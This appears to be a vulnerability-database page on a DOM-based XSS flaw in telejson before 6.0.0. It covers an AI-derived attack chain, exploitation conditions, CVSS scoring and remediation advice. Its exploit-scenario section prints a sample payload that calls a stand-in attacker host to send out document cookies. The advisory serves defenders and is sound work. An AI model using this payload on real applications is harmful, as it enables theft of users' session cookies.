Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessDeliver crafted postMessage payload to target frame
-
DeliveryVictim application passes message data to telejson.parse()
-
ExploitReviver processes _constructor-name_ property
-
ExecutionUnsanitized name injected into new Function() call
-
PersistArbitrary JavaScript executes in victim application origin
-
ImpactSession token or credential exfiltration to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the target application (1) depends on telejson < 6.0.0, and (2) calls telejson.parse() on attacker-influenced JSON - specifically JSON that can contain an attacker-controlled _constructor-name_ property value. The primary delivery vector described in the advisory is postMessage in cross-frame communication: the application must listen for cross-frame messages and pass their content to telejson.parse() without prior sanitization of the _constructor-name_ field. User interaction is required per CVSS UI:R - a victim must load or interact with a page or frame that triggers the malicious parse call. No authentication is required from the attacker (PR:N per CVSS). Exploitation is limited by: (a) the victim application must expose a postMessage listener or other cross-origin input path to telejson.parse(); (b) the victim user must visit or be lured to a context that delivers the payload; (c) applications that only parse internally-generated, fully-trusted JSON are not exploitable regardless of telejson version. Applications that have already set allowFunction: false (available only in 6.0.0+) are not exploitable via this path. |
| Impact | The CVSS 6.1 Medium score (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) reflects several important signals: the attack is network-reachable with no authentication required and low complexity, but requires user interaction (UI:R), which limits fully automated mass exploitation. The Changed Scope (S:C) indicates the injected JavaScript runs in the victim application's browser origin, enabling cross-origin impact beyond the vulnerable component itself. EPSS data was not provided in the available intelligence, so probabilistic exploitation likelihood cannot be quantified. KEV status is not confirmed - this CVE does not appear in the CISA Known Exploited Vulnerabilities catalog based on available data. No standalone POC repository has been identified, but the GHSA advisory's disclosure of exact vulnerable code at a named git tag (v5.3.3) makes exploit development straightforward. Real-world risk is highly context-dependent: applications that use telejson to parse trusted, internally-generated JSON carry minimal risk, whereas those that relay postMessage payloads or other cross-origin input directly into telejson.parse() face meaningful XSS exposure. The UI:R constraint means exploitation is not fully automated but is achievable by luring a victim to an attacker-controlled page. |
| Exploit ScenarioDerived | An attacker hosts a malicious page and lures a victim user to visit it; the page creates a hidden iframe pointing to the target application and sends a postMessage containing crafted JSON such as {"_constructor-name_": "x(){};fetch('https://attacker.example/?c='+document.cookie);//"} - the target application's message handler calls telejson.parse() on the received data, the unsanitized constructor name is injected into new Function(), and the attacker's JavaScript executes in the target application's origin, exfiltrating session cookies or performing arbitrary DOM manipulation. No authentication to the target application is required from the attacker. No public POC repository has been identified, but the GHSA advisory's publication of the exact vulnerable code at git tag v5.3.3 makes construction of this payload straightforward. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 20, 2026
DOM-based cross-site scripting in telejson versions prior to 6.0.0 allows unauthenticated remote attackers to execute arbitrary JavaScript by supplying a crafted JSON payload to the parse() function, specifically via a malicious _constructor-name_ property that is injected unsanitized into a new Function() call during prototype reconstruction. All applications using telejson < 6.0.0 that pass externally-sourced JSON - particularly those using postMessage for cross-frame communication - to telejson.parse() are affected. No public exploit has been identified at time of analysis, though the GHSA advisory (GHSA-ccgf-5rwj-j3hv) publishes both vulnerable and patched source code at named release tags, substantially lowering the barrier to exploitation. Vendor-released patch is available as telejson 6.0.0.
RemediationAI
Upgrade telejson to version 6.0.0 or later - this is the vendor-confirmed fix documented in GHSA-ccgf-5rwj-j3hv (https://github.com/storybookjs/telejson/security/advisories/GHSA-ccgf-5rwj-j3hv). The 6.0.0 release sanitizes constructor names via regex and gates the code path behind allowFunction, meaning the vulnerable new Function() call is not reached unless explicitly enabled. If an immediate upgrade is not feasible, the most effective compensating control is to strip or reject any _constructor-name_ key from JSON input before passing it to telejson.parse() - this prevents the vulnerable reviver branch from activating entirely, with no functional side effect for applications not relying on custom prototype reconstruction. Applications that use postMessage for cross-frame messaging should additionally validate message origin against a strict allowlist (event.origin === 'https://trusted-domain.example') before passing message data to telejson.parse(), which limits the attacker's delivery channel; note that origin validation alone does not fix the underlying unsanitized new Function() call and must be combined with input sanitization or upgrade. Generic 'disable JavaScript' or WAF-based mitigations are ineffective for DOM-based XSS of this class.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
TeleJSON (CPE: cpe:2.3:a:storybookjs:telejson) is an npm package by Storybook used to serialize and deserialize JavaScript objects - including those with custom prototypes - primarily for cross-frame communication scenarios. The vulnerable code path lives in parse()'s custom reviver: when deserializing an object that carries a _constructor-name_ property, the reviver at src/index.ts lines 293-299 (v5.3.3) passes the raw name string directly into new Function() via template literal interpolation (e.g., new Function('return function ${name}(){}')()). Because CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause, any non-word characters in the attacker-controlled name value escape the function wrapper and become executable JavaScript. The fix in 6.0.0 applies two mitigations simultaneously: it strips non-word characters with a regex allowlist (name.replace(/[\W_]+/g, '')) before passing to new Function(), and gates the entire prototype-reconstruction code path behind a new allowFunction option, so applications that do not need this feature are no longer exposed by default.
Know when Telejson gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Primary rating from Vendor (VulnCheck) · only source for this CVE.
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
TeleJSON prior to 6.0.0 contains a DOM-based cross-site scripting vulnerability in the parse() function that allows attackers to execute arbitrary JavaScript by delivering a crafted JSON payload containing a malicious _constructor-name_ property value. The custom reviver passes the constructor name directly to new Function() without sanitization when recreating object prototypes, enabling attackers to inject arbitrary JavaScript through vectors such as postMessage in cross-frame communication contexts to achieve script execution within the application.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-31150
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB